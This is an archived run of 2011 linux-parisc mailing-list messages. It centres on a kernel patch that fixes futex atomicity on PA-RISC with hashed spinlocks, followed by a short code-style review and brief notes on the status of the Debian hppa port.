References: <CADZpyizeDz0mRxLU3-Scx37DZ4jYMtKBjQn6_ZfxMyjhsT6Lkg@mail.gmail.com> <201107051951.16931.eike@sf-mail.de> <CADZpyiyi8=FY-2ihDq0RnXt5BZ3H09pSN1bYCHvQuFTvroCyrQ@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1441556.NrPLRjVJ8c";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1310137242 29974 80.91.229.12 (8 Jul 2011 15:00:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 8 Jul 2011 15:00:42 +0000 (UTC)
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 08 17:00:35 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QfCXd-0007cN-NK
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jul 2011 17:00:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753022Ab1GHPA2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jul 2011 11:00:28 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:35309 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751078Ab1GHPA2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jul 2011 11:00:28 -0400
Original-Received: (qmail 12371 invoked from network); 8 Jul 2011 15:00:26 -0000
Original-Received: from dslb-188-096-220-112.pools.arcor-ip.net ([::ffff:188.96.220.112] HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.19svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Fri, 08 Jul 2011 15:00:26 +0000
User-Agent: KMail/1.13.7 (Linux/2.6.39.2-35-desktop; KDE/4.6.4; x86_64; ; )
In-Reply-To: <CADZpyiyi8=FY-2ihDq0RnXt5BZ3H09pSN1bYCHvQuFTvroCyrQ@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3860
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3860>

--nextPart1441556.NrPLRjVJ8c
Content-Type: multipart/mixed;
  boundary="Boundary-01=_7txFOAxfc+I3rVU"
Content-Transfer-Encoding: 7bit


--Boundary-01=_7txFOAxfc+I3rVU
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Am Mittwoch 06 Juli 2011, 00:17:03 schrieben Sie:
> On Tue, Jul 5, 2011 at 1:51 PM, Rolf Eike Beer <eike@sf-mail.de> wrote:
> > Am Dienstag 05 Juli 2011, 19:28:35 schrieben Sie:
> >> On Mon, Jul 4, 2011 at 2:59 PM, Carlos O'Donell
> >> <carlos@systemhalted.org>
> >=20
> > wrote:
> >> > On Mon, Jul 4, 2011 at 2:50 PM, John David Anglin
> >> > <dave.anglin@bell.net>
> >=20
> > wrote:
> >> >> The Linux man page says the mprotect addr must be a valid pointer or
> >> >> a multiple of PAGESIZE.
> >> >> It's not clear what the mprotect call is trying to protect but it is
> >> >> definitely not page aligned.
> >> >=20
> >> > It's trying to protect the new stack for the thread, which is
> >> > obviously in the wrong spot.
> >>=20
> >> Good news.
> >>=20
> >> I have fixed tst-cputimer1.
> >=20
> > You also wrote "OK, fixed the kernel." So where an when will these fixes
> > show up?
>=20
> Unfortunately I hosed my setup and I didn't have git installed to make
> a proper diff so here's a diff versus a somewhat recent tree.
>=20
>  WIP patch: http://www.parisc-linux.org/~carlos/futex.diff

Half of your diff (e.g. the int->u32 conversion) is already in upstream. I'=
ve=20
rediffed it against Linus tree and fixed some of the whitespace damage.

Eike

--Boundary-01=_7txFOAxfc+I3rVU
Content-Type: text/x-patch;
  charset="UTF-8";
  name="hppa-futex.patch"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="hppa-futex.patch"

=46rom 26950303065f2d1d5e36bbb818d3ee8621a6fc2c Mon Sep 17 00:00:00 2001
=46rom: Carlos O'Donell <carlos@systemhalted.org>
Date: Fri, 8 Jul 2011 09:42:31 +0200
Subject: [PATCH] fix futexes

Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>
Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
=2D--
 arch/parisc/include/asm/futex.h |   65 +++++++++++++++++++++++++++++++++++=
+---
 1 files changed, 60 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/fute=
x.h
index 67a33cc..3008d06 100644
=2D-- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -5,11 +5,14 @@
=20
 #include <linux/futex.h>
 #include <linux/uaccess.h>
+#include <asm/atomic.h>
 #include <asm/errno.h>
=20
 static inline int
 futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 {
+	unsigned long int flags;
+	u32 val;
 	int op =3D (encoded_op >> 28) & 7;
 	int cmp =3D (encoded_op >> 24) & 15;
 	int oparg =3D (encoded_op << 8) >> 20;
@@ -23,16 +26,53 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uad=
dr)
=20
 	pagefault_disable();
=20
+	_atomic_spin_lock_irqsave(uaddr, flags);
+
 	switch (op) {
 	case FUTEX_OP_SET:
+		/* *(int *)UADDR2 =3D OPARG; */
+		ret =3D get_user(oldval, uaddr);
+		if (!ret)
+			ret =3D put_user(oparg, uaddr);
+		break;
 	case FUTEX_OP_ADD:
+		/* *(int *)UADDR2 +=3D OPARG; */
+		ret =3D get_user(oldval, uaddr);
+		if (!ret) {
+			val =3D oldval + oparg;
+			ret =3D put_user(val, uaddr);
+		}
+		break;
 	case FUTEX_OP_OR:
+		/* *(int *)UADDR2 |=3D OPARG; */
+		ret =3D get_user(oldval, uaddr);
+		if (!ret) {
+			val =3D oldval | oparg;
+			ret =3D put_user(val, uaddr);
+		}
+		break;
 	case FUTEX_OP_ANDN:
+		/* *(int *)UADDR2 &=3D ~OPARG; */
+		ret =3D get_user(oldval, uaddr);
+		if (!ret) {
+			val =3D oldval & ~oparg;
+			ret =3D put_user(val, uaddr);
+		}
+		break;
 	case FUTEX_OP_XOR:
+		/* *(int *)UADDR2 ^=3D OPARG; */
+		ret =3D get_user(oldval, uaddr);
+		if (!ret) {
+			val =3D oldval ^ oparg;
+			ret =3D put_user(val, uaddr);
+		}
+		break;
 	default:
 		ret =3D -ENOSYS;
 	}
=20
+	_atomic_spin_unlock_irqrestore(uaddr, flags);
+
 	pagefault_enable();
=20
 	if (!ret) {
@@ -54,7 +94,9 @@ static inline int
 futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 			      u32 oldval, u32 newval)
 {
+	int ret;
 	u32 val;
+	unsigned long flags;
=20
 	/* futex.c wants to do a cmpxchg_inatomic on kernel NULL, which is
 	 * our gateway page, and causes no end of trouble...
@@ -65,12 +107,25 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *u=
addr,
 	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
 		return -EFAULT;
=20
=2D	if (get_user(val, uaddr))
=2D		return -EFAULT;
=2D	if (val =3D=3D oldval && put_user(newval, uaddr))
=2D		return -EFAULT;
+	/* HPPA has no cmpxchg in hardware and therefore the
+	 * best we can do here is use an array of locks. The
+	 * lock selected is based on a hash of the userspace
+	 * address. This should scale to a couple of CPUs.
+	 */
+
+	_atomic_spin_lock_irqsave(uaddr, flags);
+
+	ret =3D get_user(val, uaddr);
+
+	if (!ret)
+		if (val =3D=3D oldval)
+			ret =3D put_user(newval, uaddr);
+
 	*uval =3D val;
=2D	return 0;
+
+	_atomic_spin_unlock_irqrestore(uaddr, flags);
+
+	return ret;
 }
=20
 #endif /*__KERNEL__*/
=2D-=20
1.7.6


--Boundary-01=_7txFOAxfc+I3rVU--

--nextPart1441556.NrPLRjVJ8c
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.16 (GNU/Linux)

iEYEABECAAYFAk4XG4MACgkQXKSJPmm5/E4oDQCfU3+aJz1nymSatm8D2rc717dM
YP4AoIz2dDy3NExi+otgJUAgwnrMKpfE
=uaW5
-----END PGP SIGNATURE-----

--nextPart1441556.NrPLRjVJ8c--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: tst-cputimer1 and tst-timer4
Date: Fri, 08 Jul 2011 11:18:33 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <4E171FC9.3070505@bell.net>
References: <CADZpyizeDz0mRxLU3-Scx37DZ4jYMtKBjQn6_ZfxMyjhsT6Lkg@mail.gmail.com> <201107051951.16931.eike@sf-mail.de> <CADZpyiyi8=FY-2ihDq0RnXt5BZ3H09pSN1bYCHvQuFTvroCyrQ@mail.gmail.com> <201107081700.19668.eike-kernel@sf-tec.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1310138321 4938 80.91.229.12 (8 Jul 2011 15:18:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 8 Jul 2011 15:18:41 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 08 17:18:37 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QfCp9-00007c-RL
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jul 2011 17:18:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752189Ab1GHPSf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jul 2011 11:18:35 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:52390 "EHLO
	mail-01.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751794Ab1GHPSf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jul 2011 11:18:35 -0400
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.103])
	by mail-01.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1QfCp7-0006yw-1F; Fri, 08 Jul 2011 11:18:33 -0400
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11
In-Reply-To: <201107081700.19668.eike-kernel@sf-tec.de>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.103]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3861
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3861>

On 7/8/2011 11:00 AM, Rolf Eike Beer wrote:
> Am Mittwoch 06 Juli 2011, 00:17:03 schrieben Sie:
>> On Tue, Jul 5, 2011 at 1:51 PM, Rolf Eike Beer<eike@sf-mail.de>  wrote:
>>> Am Dienstag 05 Juli 2011, 19:28:35 schrieben Sie:
>>>> On Mon, Jul 4, 2011 at 2:59 PM, Carlos O'Donell
>>>> <carlos@systemhalted.org>
>>> wrote:
>>>>> On Mon, Jul 4, 2011 at 2:50 PM, John David Anglin
>>>>> <dave.anglin@bell.net>
>>> wrote:
>>>>>> The Linux man page says the mprotect addr must be a valid pointer or
>>>>>> a multiple of PAGESIZE.
>>>>>> It's not clear what the mprotect call is trying to protect but it is
>>>>>> definitely not page aligned.
>>>>> It's trying to protect the new stack for the thread, which is
>>>>> obviously in the wrong spot.
>>>> Good news.
>>>>
>>>> I have fixed tst-cputimer1.
>>> You also wrote "OK, fixed the kernel." So where an when will these fixes
>>> show up?
>> Unfortunately I hosed my setup and I didn't have git installed to make
>> a proper diff so here's a diff versus a somewhat recent tree.
>>
>>   WIP patch: http://www.parisc-linux.org/~carlos/futex.diff
> Half of your diff (e.g. the int->u32 conversion) is already in upstream. I've
> rediffed it against Linus tree and fixed some of the whitespace damage.
>
> Eike

+	if (!ret)
+		if (val == oldval)
+			ret = put_user(newval, uaddr);

This bit is ugly.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Status of hppa on debian-ports.
Date: Fri, 08 Jul 2011 16:29:15 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <4E17689B.2090604@systemhalted.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1310156966 24207 80.91.229.12 (8 Jul 2011 20:29:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 8 Jul 2011 20:29:26 +0000 (UTC)
Cc: Aurelien Jarno <aurel32@debian.org>
To: linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 08 22:29:22 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QfHfs-0005Vh-Lm
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jul 2011 22:29:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753975Ab1GHU3T (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jul 2011 16:29:19 -0400
Original-Received: from mail-pv0-f174.google.com ([74.125.83.174]:35788 "EHLO
	mail-pv0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753860Ab1GHU3T (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jul 2011 16:29:19 -0400
Original-Received: by pvg12 with SMTP id 12so1353436pvg.19
        for <linux-parisc@vger.kernel.org>; Fri, 08 Jul 2011 13:29:18 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=sender:message-id:date:from:user-agent:mime-version:to:cc:subject
         :content-type:content-transfer-encoding;
        bh=WJzLeQMKsQ10SH46Sasne0X2qqCnlr3WYJZiXNLXngc=;
        b=xAq9lw/GRtKeFMg0rH+dP52tmigXVyAdF9lfNDH4tOH6dnH1XJrGS9X8WD7Kuq/+cP
         RgA0qO24+K09TV81jM/5a9XPHCqRhrhg3TqE556HxnxbUUc2YadrbxHjZG2vbONGXbsn
         AWF+Az2F2AWfvU0qiCiSk4cWdZ8BucKD4Oy1w=
Original-Received: by 10.68.0.234 with SMTP id 10mr3390762pbh.52.1310156958283;
        Fri, 08 Jul 2011 13:29:18 -0700 (PDT)
Original-Received: from [192.168.2.18] (bas3-ottawa23-1177760865.dsl.bell.ca [70.51.52.97])
        by mx.google.com with ESMTPS id n8sm6500927pbh.73.2011.07.08.13.29.16
        (version=SSLv3 cipher=OTHER);
        Fri, 08 Jul 2011 13:29:17 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.18) Gecko/20110616 Lightning/1.0b2 Thunderbird/3.1.11
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3862 gmane.linux.debian.ports.hppa:6687
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3862>


The current status of hppa on debian-ports is available here:

http://wiki.parisc-linux.org/Debian_Ports

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Status of hppa on debian-ports.
Date: Fri, 8 Jul 2011 16:54:32 -0400
Organization: wh0rd.org
Lines: 42
Approved: news@gmane.org
Message-ID: <201107081654.33542.vapier@gentoo.org>
References: <4E17689B.2090604@systemhalted.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart2007419.KUYNDHEyYO";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1310158483 661 80.91.229.12 (8 Jul 2011 20:54:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 8 Jul 2011 20:54:43 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org, Aurelien Jarno <aurel32@debian.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 08 22:54:38 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QfI4J-0003O4-C3
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jul 2011 22:54:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754169Ab1GHUyf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jul 2011 16:54:35 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:43475 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753707Ab1GHUye (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jul 2011 16:54:34 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 60F6A2AC102;
	Fri,  8 Jul 2011 20:54:34 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/2.6.39; KDE/4.6.3; x86_64; ; )
In-Reply-To: <4E17689B.2090604@systemhalted.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3863 gmane.linux.debian.ports.hppa:6688
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3863>

--nextPart2007419.KUYNDHEyYO
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Friday, July 08, 2011 16:29:15 Carlos O'Donell wrote:
> The current status of hppa on debian-ports is available here:
>=20
> http://wiki.parisc-linux.org/Debian_Ports

the page is apparently marked immutable, otherwise i'd fix the typo:
	Not a debian developers.
=2Dmike

--nextPart2007419.KUYNDHEyYO
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJOF26JAAoJEEFjO5/oN/WBYgoP/2duI6j2WAw5wcrNjEfvOkZi
kdrCdayajLWvt5ddTA31emD4jQ1VZut6MsRa5ne7Rx7NB/zyKxcNfC5RsGaMDVUS
mPYAsYEAmO3T+KRwEbo2X2OXifD0EBC1k5fiv7c46mSeiqTQq1edWIS4gUiLPJ/k
d51dWXzPMnr69V5RZuatSwdQF3CeCSVXxO/Hg2GBWlS7G7NVGijDr1BC9PTYk25z
ZNGEgdHa6ZnY8ZICvUBoG3oY1dPnd/fdpzVt5HU30zZKfdkW1i7LmGZzwvXc4gsk
rtPbWVzqWG4YxQCwdlUd/H4HlYFQvgpAVRkOXl4iqdYd/AgUSTNyp4CUDQHEJXs3
ySXNsU5k2pIx+BzryoYHpHKAGMn4QbVk8aGJY39EfMW5ujdeZt8t9Bjr0NNEuyMn
7QH1nYwzzASLVzUzh/bON81rdQj09/kRrOhEY8juJ+x7OooT3Yxvz94CeLBtyqyl
Lchv2V9ieq5vFYhkIKa7m9R2c31b4wb3BLnZSHmUs6Z1BGpla913morjBdwkEvL2
uoiDS8WNGbXqCmD9zrXSCRFLrRk3WSstsE+aCjda8L0tC77MQusIvP67TRLV9uUJ
FHkEP33iWXSXgvkD/xoIzJGwedrEqAUjIee5aYV1M2NBWrMwmSdioqZObvDQDdUp
anHs8QOdb4JTyj6zaBzn
=E+hU
-----END PGP SIGNATURE-----

--nextPart2007419.KUYNDHEyYO--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Status of hppa on debian-ports.
Date: Fri, 08 Jul 2011 17:08:18 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <4E1771C2.1090405@bell.net>
References: <4E17689B.2090604@systemhalted.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1310159312 5306 80.91.229.12 (8 Jul 2011 21:08:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 8 Jul 2011 21:08:32 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org, Aurelien Jarno <aurel32@debian.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 08 23:08:24 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QfIHb-0003QD-Hh
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jul 2011 23:08:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753763Ab1GHVIS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jul 2011 17:08:18 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:45991 "EHLO
	mail-08.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750879Ab1GHVIS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jul 2011 17:08:18 -0400
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.103])
	by mail-08.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1QfIHZ-00070y-2I; Fri, 08 Jul 2011 17:08:17 -0400
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11
In-Reply-To: <4E17689B.2090604@systemhalted.org>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.103]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3864 gmane.linux.debian.ports.hppa:6689
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3864>

On 7/8/2011 4:29 PM, Carlos O'Donell wrote:
> The current status of hppa on debian-ports is available here:
>
> http://wiki.parisc-linux.org/Debian_Ports

We need contacts for the buildds machines.  These need to be local to
the machine unless remote console access is available.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 2.6.39-rc3] parsic: Fix futex support
Date: Fri, 08 Jul 2011 17:27:00 -0400
Lines: 126
Approved: news@gmane.org
Message-ID: <4E177624.1030500@systemhalted.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1310160432 11418 80.91.229.12 (8 Jul 2011 21:27:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 8 Jul 2011 21:27:12 +0000 (UTC)
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 08 23:27:08 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QfIZm-0004ly-CR
	for glpp-linux-parisc@lo.gmane.org; Fri, 08 Jul 2011 23:27:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753939Ab1GHV1F (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jul 2011 17:27:05 -0400
Original-Received: from mail-pv0-f174.google.com ([74.125.83.174]:44836 "EHLO
	mail-pv0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753763Ab1GHV1E (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jul 2011 17:27:04 -0400
Original-Received: by pvg12 with SMTP id 12so1379784pvg.19
        for <linux-parisc@vger.kernel.org>; Fri, 08 Jul 2011 14:27:04 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=sender:message-id:date:from:user-agent:mime-version:to:subject
         :content-type:content-transfer-encoding;
        bh=LEuFRP5p2U69XtI6Dxy/Mr4JQzmCdWcM5FGrCMMgLO4=;
        b=lB/+OE4z8cSM/CKtxX83R2W4b2WhcevJ9vgR+Mb9UACxH/fOrE/oGmQqqT44w8vh8Z
         i5G6JhftV9S5G1gg+VY4+xmpp0WrnRfq95tvQdWxhPqcDU/n5Zv3Qc5jyeGxpyTGakIr
         OkP9c4ceTQhOgK5IjhMrE+dqo/1zAUzDiFmao=
Original-Received: by 10.68.49.226 with SMTP id x2mr3377779pbn.27.1310160424266;
        Fri, 08 Jul 2011 14:27:04 -0700 (PDT)
Original-Received: from [192.168.2.18] (bas3-ottawa23-1177760865.dsl.bell.ca [70.51.52.97])
        by mx.google.com with ESMTPS id p7sm4686563pbn.49.2011.07.08.14.27.01
        (version=SSLv3 cipher=OTHER);
        Fri, 08 Jul 2011 14:27:03 -0700 (PDT)
